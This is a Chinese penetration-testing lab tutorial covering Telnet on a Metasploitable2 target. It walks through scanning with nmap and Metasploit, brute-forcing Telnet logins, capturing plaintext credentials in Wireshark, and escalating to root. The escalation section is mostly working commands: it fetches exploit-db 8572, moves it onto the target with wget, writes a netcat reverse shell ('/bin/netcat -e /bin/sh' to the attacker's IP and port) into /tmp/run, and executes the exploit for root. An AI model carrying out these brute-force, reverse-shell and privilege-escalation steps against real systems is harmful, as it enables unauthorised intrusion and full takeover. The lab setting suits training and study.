目录
4.6、漏洞利用-Telnet
4.6.1、telnet暴力破解
1、telnet介绍
Telnet服务,即远程终端协议服务,使用明文传输用户的所有内容,具有安全隐患。Telnet服务默认使用23端口
2、telnet版本介绍
攻击机kali:192.168.12.128
靶机metasploitable2:192.168.12.129
(1)使用nmap获取
nmap 192.168.12.129
nmap -p 23 -sV 192.168.12.129
(2)使用metasploit
use auxiliary/scanner/telnet/telnet_version
show options
set rhosts IP
run
成功建立连接后可获得telnet的账号和密码
3、telnet密码破解
search telnet
use auxiliary/scanner/telnet/telnet_login
show options
set rhosts IP
set user_file /路径
set pass_file /路径
//这里直接用msfadmin/msfadmin登录不再演示
run
4、telnet登录测试
使用破解好的会话连接telnet,并执行对应的命令
使用sessions -l 列举建立的会话
使用session -i id 使用对应的会话
5、获取meterpreter shell
4.6.2、telnet认证过程抓包分析
1、Telnet客户端连接telnet服务器
Windows下开启Telnet客户端,连接telnet服务,默认下该服务关闭。
控制面板—>程序和功能—>telnet client
Dos命令框下使用telnet启动客户端,?命令查看帮助。
2、Tenet明文密码传输
Wireshark抓包分析
对比上述登录命令即可明显得出Telnet使用明文传输内容。
4.6.3、telnet登录提权
登录的目的在于提权,掌握系统root权限,具体流程
登录telnet服务
使用session -i连接bash shell
攻击机准备提权文件
通过bash shell将攻击机上的提权文件下载到靶机上
攻击机开启端口监听
在shell中执行,并定义反弹shell执行地址
连接shell,获得root权限
1、msf登录telnet
2、msf连接shell下载exp
攻击机准备提权文件
由于靶机无法直接下载exp,所有必须先将提权文件下载到kali中,修改文件名及后缀,开启kali的http服务,然后从连接的shell中将exp从kali中下载到靶机中。
值得注意的是默认的传输目录是/var/www/html/
另外,下载的exp文件需要在其末尾加入新行,不然后续执行的时候会报no newline的error。
service apache2 start 开启http服务
service apache2 status 查看http状态
cd /var/www/html/ 切换到默认传输目录
wget http://www.exploit-db.com/download/8572 使用wget下载exp文件到kali
mv 8572 test.c 修改后缀名
msfadmin@metasploitable:~$ wget "http://192.168.12.128/test.c"
通过shell下载exp到靶机
3、设置kali nc监听
nc -lvp 6666
-l启动监听模式
-v详细的分析内容
-p指定监听端口
4、编译执行exp,获取root
msfadmin@metasploitable:~$ gcc test.c -o exploit 编译C程序
msfadmin@metasploitable:~$ echo '#!/bin/sh' > /tmp/run 定义执行环境至/run
msfadmin@metasploitable:~$ echo '/bin/netcat -e /bin/sh 192.168.12.128 6666' >> /tmp/run
msfadmin@metasploitable:~$ cat /tmp/run 验证run配置
msfadmin@metasploitable:~$ ps aux | grep udev 查看pid
msfadmin@metasploitable:~$ ./exploit 2747 执行root权限id-1
执行第一条命令的时候提示在tes.c文件的末尾没有newline,所有要在文件中添加以后再重新下载。
添加空行重新下载后继续。
id 权限id
whoami 我是谁
返回监听端口,结果表明提权成功